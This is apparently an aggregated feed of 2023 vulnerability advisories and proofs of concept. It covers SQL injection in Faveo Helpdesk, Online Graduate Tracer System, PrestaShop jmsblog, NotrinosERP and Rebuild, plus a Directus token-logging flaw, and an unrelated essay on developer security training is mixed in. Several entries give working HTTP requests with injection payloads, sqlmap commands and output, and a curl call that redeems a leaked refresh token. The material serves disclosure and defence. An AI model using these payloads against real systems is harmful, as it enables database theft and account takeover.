Faveo Helpdesk 1.0-1.11.1 is vulnerable to SQL Injection. When the user logs in through the login box, he has no judgment on the validity of the user's input data. The parameters passed from the front end to the back end are controllable, which will lead to SQL injection.

I don't know which version of SQL injection vulnerability exists, but I found that there are SQL injection vulnerabilities in thousands of IP addresses on the cyberspace mapping platform.  
When logging in, the email account xxx@xx.xx After that, add ', there are SQL statement errors, which will lead to SQL injection vulnerability.  
Use the Burpsuite network packet capturing tool to capture the POST data packets when users log in, and use the Sqlmap tool for SQL injection.  
As this picture show：

CVE-2023-25350: Faveo Helpdesk has SQL injection vulnerability · Issue #7827 · ladybirdweb/faveo-helpdesk

Online Graduate Tracer System version 1.0 suffers from a remote SQL injection vulnerability.

    # Exploit Title: Online Graduate Tracer System - Multiple SQLi# Date: 24/03/2023# Exploit Author: Abdulhakim Öner# Vendor Homepage: https://www.sourcecodester.com# Software Link: https://www.sourcecodester.com/php/15904/online-graduate-tracer-system-college-ict-alumni.html# Software Download: https://www.sourcecodester.com/sites/default/files/download/oretnom23/tracking.zip# Version: 1.0# Tested on: Windows, Linux## Description A Blind SQL injection vulnerability in the fill-in forms of Online Graduate Tracer System allows remote unauthenticated attackers to execute remote arbitrary SQL commands through "age" parameter. ## Request PoC```POST /tracking/ HTTP/1.1Host: 192.168.1.100Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36Connection: closeCache-Control: max-age=0Referer: http://192.168.1.100/tracking/Content-Type: application/x-www-form-urlencodedContent-Length: 666fullname=TKeljbcD&age=24'&sex=&dob=11%2f11%2f1992&cs=&religion=&street=518287&barangay=933877&municipal=149726&province=293419&region=&zipcode=21788&country=767093&course=&batch=&facebook=329348&twitter=488487&phonenumber=197-436-9799&email=dKYxqIen@burpcollaborator.net&estatus=Employed&organization=&profession=503409&type=Working+Fulltime&location=local&location=abroad&status=Permanent&status=Contractual&status=Casual&status=Others&number=1-5+yrs&income=359935&relate=Yes&sreason=621051&nature=792251&company=597673&num=0-5+yrs&num=6-10+yrs&num=10-15+yrs&num=16+yrs+above&mincome=325978&reason=992014&consider=Yes&submit=```This request causes a Fatal error. Adding "'%2b(select*from(select(sleep(10)))a)%2b'" to the end of "age" parameter, the response to request was 200 status code with message of OK, but 20 seconds later, which indicates that our sleep 10 command works. ```POST /tracking/ HTTP/1.1Host: 192.168.1.100Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36Connection: closeCache-Control: max-age=0Referer: http://192.168.1.100/tracking/Content-Type: application/x-www-form-urlencodedContent-Length: 666fullname=TKeljbcD&age=24'%2b(select*from(select(sleep(10)))a)%2b'&sex=&dob=11%2f11%2f1992&cs=&religion=&street=518287&barangay=933877&municipal=149726&province=293419&region=&zipcode=21788&country=767093&course=&batch=&facebook=329348&twitter=488487&phonenumber=197-436-9799&email=dKYxqIen@burpcollaborator.net&estatus=Employed&organization=&profession=503409&type=Working+Fulltime&location=local&location=abroad&status=Permanent&status=Contractual&status=Casual&status=Others&number=1-5+yrs&income=359935&relate=Yes&sreason=621051&nature=792251&company=597673&num=0-5+yrs&num=6-10+yrs&num=10-15+yrs&num=16+yrs+above&mincome=325978&reason=992014&consider=Yes&submit=```## Exploit with sqlmapSave the request from burp to file ```┌──(root㉿caesar)-[/home/kali/Workstation/sts]└─# sqlmap -r sqli.txt -p 'age' --batch --dbs --level=3 --risk=2---snip---[01:53:49] [INFO] testing 'MySQL UNION query (random number) - 81 to 100 columns'POST parameter 'age' is vulnerable. Do you want to keep testing the others (if any)? [y/N] Nsqlmap identified the following injection point(s) with a total of 630 HTTP(s) requests:---Parameter: age (POST)    Type: boolean-based blind    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause    Payload: fullname=TKeljbcD&age=24' RLIKE (SELECT (CASE WHEN (6534=6534) THEN 24 ELSE 0x28 END)) AND 'ATRa'='ATRa&sex=&dob=11/11/1992&cs=&religion=&street=518287&barangay=933877&municipal=149726&province=293419&region=&zipcode=21788&country=767093&course=&batch=&facebook=329348&twitter=488487&phonenumber=197-436-9799&email=dKYxqIen@burpcollaborator.net&estatus=Employed&organization=&profession=503409&type=Working Fulltime&location=local&location=abroad&status=Permanent&status=Contractual&status=Casual&status=Others&number=1-5 yrs&income=359935&relate=Yes&sreason=621051&nature=792251&company=597673&num=0-5 yrs&num=6-10 yrs&num=10-15 yrs&num=16 yrs above&mincome=325978&reason=992014&consider=Yes&submit=    Type: error-based    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)    Payload: fullname=TKeljbcD&age=24' AND (SELECT 9933 FROM(SELECT COUNT(*),CONCAT(0x7170716271,(SELECT (ELT(9933=9933,1))),0x7178767a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'PwMK'='PwMK&sex=&dob=11/11/1992&cs=&religion=&street=518287&barangay=933877&municipal=149726&province=293419&region=&zipcode=21788&country=767093&course=&batch=&facebook=329348&twitter=488487&phonenumber=197-436-9799&email=dKYxqIen@burpcollaborator.net&estatus=Employed&organization=&profession=503409&type=Working Fulltime&location=local&location=abroad&status=Permanent&status=Contractual&status=Casual&status=Others&number=1-5 yrs&income=359935&relate=Yes&sreason=621051&nature=792251&company=597673&num=0-5 yrs&num=6-10 yrs&num=10-15 yrs&num=16 yrs above&mincome=325978&reason=992014&consider=Yes&submit=    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: fullname=TKeljbcD&age=24' AND (SELECT 7274 FROM (SELECT(SLEEP(5)))gxIn) AND 'maqj'='maqj&sex=&dob=11/11/1992&cs=&religion=&street=518287&barangay=933877&municipal=149726&province=293419&region=&zipcode=21788&country=767093&course=&batch=&facebook=329348&twitter=488487&phonenumber=197-436-9799&email=dKYxqIen@burpcollaborator.net&estatus=Employed&organization=&profession=503409&type=Working Fulltime&location=local&location=abroad&status=Permanent&status=Contractual&status=Casual&status=Others&number=1-5 yrs&income=359935&relate=Yes&sreason=621051&nature=792251&company=597673&num=0-5 yrs&num=6-10 yrs&num=10-15 yrs&num=16 yrs above&mincome=325978&reason=992014&consider=Yes&submit=---[01:53:50] [INFO] the back-end DBMS is MySQLweb application technology: PHP 8.2.0, Apache 2.4.54back-end DBMS: MySQL >= 5.0 (MariaDB fork)---snip---```## The "barangay", "batch", "company", "country", "course", "cs", "dob", "email", "estatus", "facebook", "fullname", "income", "location", "mincome", "municipal", "nature", "number", "organization", "phonenumber", "profession", "province", "region", "relate", "religion", "sex", "sreason", "status", "street", "twitter", "type" and "zipcode" parameters in the POST requests are also vulnerable. They can be exploited in the same way.

Online Graduate Tracer System 1.0 SQL Injection

If you haven't done so already, it's time to take the first step toward solving this application security dilemma.

We are seeing a significant surge in attacks against applications such as cross-site scripting, brute-force attacks, and SQL injections, which is raising significant concerns. So much so that application security has been labeled "nonnegotiable" and has appropriately become a priority for many, while Jen Easterly, director of the Cybersecurity and Infrastructure Security Agency (CISA), is campaigning for the tech industry to take responsibility for secure products.

Technology solutions like penetration testing and code scanning are undeniably valuable for mitigating insecure software, but in themselves they are not enough. As many as 70% of organizations are missing critical security steps in their software development life cycle (SDLC) and vulnerabilities are rising exponentially. To solve this dilemma, enterprises need to shift their focus from finding, patching, and fixing vulnerabilities to proactively ensuring they don't deliver insecure code in the first place. This requires human foresight, and as a result, greater investment in education for all those responsible for developing software to ensure they can not only recognize key security principles and vulnerabilities, but also apply their knowledge to novel situations to better secure applications.

**Going Beyond Code Scanning**

An overdependence on code-scanning tools, or source code analysis tools, is an example of security being left too late in the SDLC. Code scanning to identify vulnerabilities before an application goes live is a key cog in the secure software development machine, yet prevention is always better than cure (as we know from Boehm's law that flaws become more costly to fix over time).

The main issue is that code-scanning tools run the risk of large numbers of false positives, eventually leading to "alert fatigue," where developers ignore any flaws flagged, eventually creating a false sense of security. What's more, when critical issues are highlighted, it likely becomes the developer's responsibility to identify and fix this insecure code, and they need the knowledge to actually apply these fixes.

This is where greater investment in secure coding training and continuous education for the developer and everyone that supports them across the SDLC comes in. Code scanning still has a significant role to play, yet it would be far more valuable if supported by programmatic training on security principles and best practices. This is not simply to raise "awareness" of key vulnerabilities but to empower teams with the knowledge to code securely and prevent critical issues before they reach scanning tools or even production. It can also reduce the burden on developers by avoiding added pressure to patch at the last stage. Instead, the approach should be to "start left" and ensure security is baked in from the beginning (as advocated by Easterly).

Research backs this up; an EMA survey of software development professionals found only 10% of organizations utilizing code scanning tools prevented more vulnerabilities than those that don't, however, continuous training greatly improved code security for over 60% of organizations that adopted it. But it is not necessarily the case of one or the other: EMA argues that a combination of code scanning, code reviews, and continuous, third-party training is the best approach to more secure software development.

**Embracing More Secure Habits**

Coding securely essentially needs to become a more lasting and ingrained habit. Yet behavioral change is challenging without the knowledge and education to support it. Truly enacting change to ensure application security becomes nonnegotiable means investing in developer and SDLC team training that encourages and enables more secure habits. And it's important to recognize that these secure habits will change depending on the role of each professional.

For example, development leaders will not be personally responsible for developing code, so instead will need to look at how they become accountable for developing applications with fewer vulnerabilities. Ensuring security features are considered "lifeboat" features — an essential before releasing code — may require a shift in habits but will be invaluable for boosting application security. For software developers themselves, their secure habits may be embracing those all-important code scans or reviews earlier along in the development process, but this will only be relevant if they can recognize the value of secure coding and have the knowledge to reduce as many vulnerabilities as they can in the first place.

If you haven't done so already, it's time to take the first step toward solving this application security dilemma. Yet the SDLC needs to go far beyond reactive patching and code scanning, and instead look at how to empower teams, reduce late-stage burdens, and invest in continuous education if we're really to turn the tide on rising application vulnerabilities.

Application Security Requires More Investment in Developer Education

Directus is a real-time API and App dashboard for managing SQL database content. Prior to version 9.23.3, the `directus_refresh_token` is not redacted properly from the log outputs and can be used to impersonate users without their permission. This issue is patched in version 9.23.3.

**Summary**

CWE-532: Insertion of Sensitive Information into Log File discovered in v9.23.1. The directus_refresh_token is not redacted properly from the log outputs and can be used to impersonate users without their permission.

**Details**

Using v9.23.1, I am seeing that the directus_refresh_token is not properly redacted as indicated by

paths: \['req.headers.authorization', \`req.cookies.${env.REFRESH\_TOKEN\_COOKIE\_NAME}\`\],

I'm classifying this as a security vulnerability because if someone has access to the log outputs, for example with a shared Cloud account or Splunk implementation, they could exchange the refresh token using /auth/refresh for an access token and use the token to perform actions on behalf of an unsuspecting user. This situation creates issues with accountability and non-repudiation because we can no longer have confidence that actions taken in the application were authorized or even performed by the logged-in user.

A couple of examples of this are:

*   A disgruntled employee deletes all of the data to get even with a target team member before logging off on their last day
*   Under the guise of their unsuspecting boss, a mischievous engineer uploads _questionable_ images that get displayed on internal or external facing content sites

The list could go on but I think these communicate the risk of an internal threat that has access to this information 😆

**PoC**

1.  Set LOG_STYLE="raw" and run Directus v9.23.1
    
2.  Log in to the application
    
3.  Look at the shell output and see that directus_refresh_token is logged
    
    > Note: This is different from the standard raw output format. I intentionally ran this with npx directus start | pino-pretty so logs would be easier to read. It can also be reproduced by running npx directus start alone.
    
4.  Exchange the directus_refresh_token for an access_token
    
     curl -X POST \\
       'http://0.0.0.0:8055/auth/refresh' \\
       --header 'Accept: \*/\*' \\
       --header 'Cookie: directus\_refresh\_token=$shh'
    

**Impact**

Because this can be used to exploit other threats related to CWE-284: Improper Access Control I rank it with a Moderate severity. An insider with knowledge of this could do many mischievous things and get away with them for a long time without victims knowing about it.

CVE-2023-28443: CWE-532: Insertion of Sensitive Information into Log File

PrestaShop jmsblog 2.5.5 was discovered to contain a SQL injection vulnerability.

The module Jms Blog (jmsblog) from Joommasters contains a Blind SQL injection vulnerability. This module is for the PrestaShop e-commerce platform and mainly provided with joo masters PrestaShop themes

**Summary**

*   **CVE ID**: CVE-2023-27034
*   **Published at**: 2023-03-13
*   **Advisory source**: none
*   **Vendor**: PrestaShop
*   **Product**: jmsblog
*   **Impacted release**: at least 2.5.5 and 2.5.6
*   **Product author**: Joommasters
*   **Weakness**: CWE-89
*   **Severity**: critical (9.8)

**Description**

Several front controller in /controllers/front/ hold sensitives SQL calls that can be executed with a trivial http call and exploited to forge a blind SQL injection.

**CVSS base metrics**

*   **Attack vector**: network
*   **Attack complexity**: low
*   **Privilege required**: none
*   **User interaction**: none
*   **Scope**: unchanged
*   **Confidentiality**: high
*   **Integrity**: high
*   **Availability**: high

**Vector string**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

**Possible malicious usage**

*   Technical and personal data leaks
*   Obtain admin access
*   Remove all data of the linked PrestaShop
*   Display sensitives tables to front-office to unlock potential admin’s ajax scripts of modules protected by token on the ecosystem

**Patch**

    --- a/controllers/front/archive.php
    +++ b/controllers/front/archive.php
    @@ -55,1 +55,1 @@ function getPosts
    -            ' AND DATE_FORMAT(hss.created,"%Y-%m") LIKE "%'.$_month.'%"
    +            ' AND DATE_FORMAT(hss.created,"%Y-%m") LIKE "%'.pSQL($_month).'%"
    

    --- a/controllers/front/post.php
    +++ b/controllers/front/post.php
    @@ -85,1 +85,1 @@ function getPosts
    -                WHERE pc.`email` = \''.$email.'\'
    +                WHERE pc.`email` = \''.pSQL($email).'\'
    

    --- a/controllers/front/tag.php
    +++ b/controllers/front/tag.php
    @@ -53,1 +53,1 @@ function getPosts
    -            ' AND hssl.`tags` LIKE "%'.$tag.'%"
    +            ' AND hssl.`tags` LIKE "%'.pSQL($tag).'%"
    

**Timeline**

Date

Action

2022-09-01

Issue discovered during a pentest

2023-02-17

Contact the author

2023-03-13

Publish this security advisory

2023-03-16

CVE ID affected

**Other recommandations**

*   Upgrade PrestaShop beyond 1.7.8.8 (and 8.0.1) to disable multiquery executions (separated by “;”).
*   Change the default database prefix ps_ by a new longer arbitrary prefix. Nethertheless, be warned that this is useless against blackhat with DBA senior skill because of a design vulnerability in DBMS
*   Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.

**Links**

*   Joom masters web site
*   National Vulnerability Database

CVE-2023-27034: Blind SQL injection vulnerability in Jms Blog (jmsblog) PrestaShop module

NotrinosERP v0.7 was discovered to contain a SQL injection vulnerability via the OrderNumber parameter at `/NotrinosERP/sales/customer_delivery.php`.

**NotrinosERP vulnerable to SQL Injection**

High severity GitHub Reviewed Published Mar 23, 2023 to the GitHub Advisory Database • Updated Mar 23, 2023

GHSA-4pqp-69m3-f8pp: NotrinosERP vulnerable to SQL Injection

Insufficient validation of profile field availability condition resulted in an SQL injection risk (by default only available to teachers and managers).

**Moodle SQL Injection vulnerability**

High severity GitHub Reviewed Published Mar 23, 2023 to the GitHub Advisory Database • Updated Mar 23, 2023

GHSA-72w2-j52c-7682: Moodle SQL Injection vulnerability

A vulnerability, which was classified as critical, was found in Rebuild up to 3.2.3. This affects an unknown part of the file /files/list-file. The manipulation leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-223743.

**版本 / Version**

<=3.2.3

**什么问题 / What's the problem**

在rebuild系统的/files/list-file接口中存在SQL注入漏洞  
There is a SQL injection vulnerability in the /files/list-file interface of the rebuild system.

**如何复现此问题 / How to reproduce this problem****功能点 / Function points**

**请求信息 / Request message:**

    GET /files/list-file?entry=1&sort=&q=1&pageNo=1&pageSize=40&_=1679238611579 HTTP/1.1
    Host: 192.168.0.102:18080
    X-AuthToken: 
    Accept: */*
    X-CsrfToken: 
    X-Requested-With: XMLHttpRequest
    X-Client: RB/WEB
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
    Content-Type: text/plain;charset=utf-8
    Referer: http://192.168.0.102:18080/files/home
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: rb.lastFilesPath=attachment; _ga=GA1.1.113967341.1678976466; rb.TourEnd=session; GuideShowNaverTime=true; rb.sidebarCollapsed=false; JSESSIONID=CD3ABF26F95BD016C875973BC0F24154; _ga_CC8EXS9BLD=GS1.1.1679238611.9.1.1679238613.0.0.0
    Connection: close
    
    

**攻击载荷 / payload:**

%25%5c%27%20or%20updatexml(1,concat(0x7e,(select+table_name+from+information_schema.tables+where+table_schema=0x72656275696c64+limit+0,1),0x7e),1)+and%201%20=%20?%20--+

**漏洞复现 / Vulnerability recurrence**

**系统环境 (操作系统/MySQL版本/浏览器等) / System environment (OS/MySQL/Browser etc)**

Mysql 5.7.26  
Windows  
JDK1.8.0\_341  
Chrome

**说明 / Suggested description**

sql injection vulnerability exists in rebuild <=3.2.3  
在rebuild系统小于3.2.3版本中存在SQL注入漏洞  
Failed to legally check parameters, resulting in SQL injection vulnerabilities.  
未能合法检查参数从而导致sql注入漏洞.

**漏洞类型 / Vulnerability Type**

SQLi

**产品供应商 / Vendor of Product**

https://github.com/getrebuild/rebuild

**受影响的产品代码库 / Affected Product Code Base**

<=3.2.3

**受影响组件 / Affected Component**

/files/list-file

**攻击方式 / Attack Type**

Remote

**漏洞成因 / Cause of vulnerability**

In the com.rebuild.web.files.FileListController#listFile() method, obtain the user's input and splice it into SqlWhere  
在com.rebuild.web.files.FileListController#listFile()方法中，获取用户的输入，并拼接至SqlWhere中  
  
The StringEscapeUtils.escapeSql method is used here to process user input, which poses a risk of being bypassed.  
此处使用StringEscapeUtils.escapeSql方法对用户输入进行处理，此种方法存在绕过的风险。  
Then insert SqlWhere into the final query statement and bring it into the query.  
随后将SqlWhere插入到最终的查询语句中，并带入到查询中。  
  
An attacker can implement a SQL injection vulnerability when passing in malicious SQL statements.  
当攻击者传入恶意的sql语句时，即可实现SQL注入漏洞。  
The end,thanks!

CVE-2023-1612: SQL injection vulnerability exists in the /files/list-file interface of the rebuild system · Issue #598 · getrebuild/rebuild

CVE-2023-28329

RESERVED NotrinosERP v0.7 was discovered to contain a SQL injection vulnerability via the OrderNumber parameter at /NotrinosERP/sales/customer_delivery.php.

**Description**

The endpoint **/sales/customer\_delivery.php** is vulnerable to Blind SQL Injection (Time-based) via the GET parameter **OrderNumber**. This endpoint can be triggered through the following menu: Sales - Sales Order Entry - Place Order - Make Delivery Against This Order. From the source code perspective, the endpoint will execute the **adjust\_shipping\_charge** function in the **\\sales\\customer\_delivery.php** file line number 107. As shown in the code snippet below, the OrderNumber parameter is taken directly from the query string and passed into the function without any sanitization or escaping.

    adjust_shipping_charge($ord, $_GET['OrderNumber']);
    

The adjust\_shipping\_charge function itself can be found in the **\\sales\\includes\\db\\sales\_delivery\_db.inc** file line number 203. In that function the OrderNumber parameter or $trans\_no is concatenated directly into the SQL query.

    function adjust_shipping_charge(&$delivery, $trans_no) {
    	$sql = "SELECT sum(ov_freight) as freight FROM ".TB_PREF."debtor_trans WHERE order_ = $trans_no AND type = " . ST_CUSTDELIVERY . " AND debtor_no = " . $delivery->customer_id;
    	$result = db_query($sql, 'Can not find delivery notes');
    

This allows the attacker to inject malicious OrderNumber payloads to execute the malicious SQL query.

**Proof of Concept**

Triggering time delays with MySQL sleep function.

Normal request will take around 200 milis (0.2 seconds) response time

    GET /NotrinosERP/sales/customer_delivery.php?OrderNumber=10 HTTP/1.1
    Host: localhost
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: close
    Referer: http://localhost/NotrinosERP/sales/sales_order_entry.php?AddedID=12
    Cookie: Notrinos2938c152fda6be29ce4d5ac3a638a781=8s9gl1g6fphudemau5ul3polro; FAinstall=n916ogdqa12ni92dlhmgqiv7gt
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1
    

The following malicious request with OrderNumber parameter set to 10+UNION+SELECT+SLEEP(2)%23--+- will take around 2000 milis (2 seconds) response time.

    GET /NotrinosERP/sales/customer_delivery.php?OrderNumber=10+UNION+SELECT+SLEEP(2)%23--+- HTTP/1.1
    Host: localhost
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: close
    Referer: http://localhost/NotrinosERP/sales/sales_order_entry.php?AddedID=12
    Cookie: Notrinos2938c152fda6be29ce4d5ac3a638a781=8s9gl1g6fphudemau5ul3polro; FAinstall=n916ogdqa12ni92dlhmgqiv7gt
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1
    
    

Note: The orderNumber (e.g., 10) need to be valid/existing order number.

**Root Cause**

User input on the WorkOrder parameter ($trans\_no) is not sanitized and used directly in the query through string concatenation. https://github.com/notrinos/NotrinosERP/blob/master/sales/includes/db/sales\_delivery\_db.inc#L204

**Recommendation**

Avoid direct string concatenation into the sql query. It's recommended to use input sanitization as well as implementing parameterized query.

Tag

#sql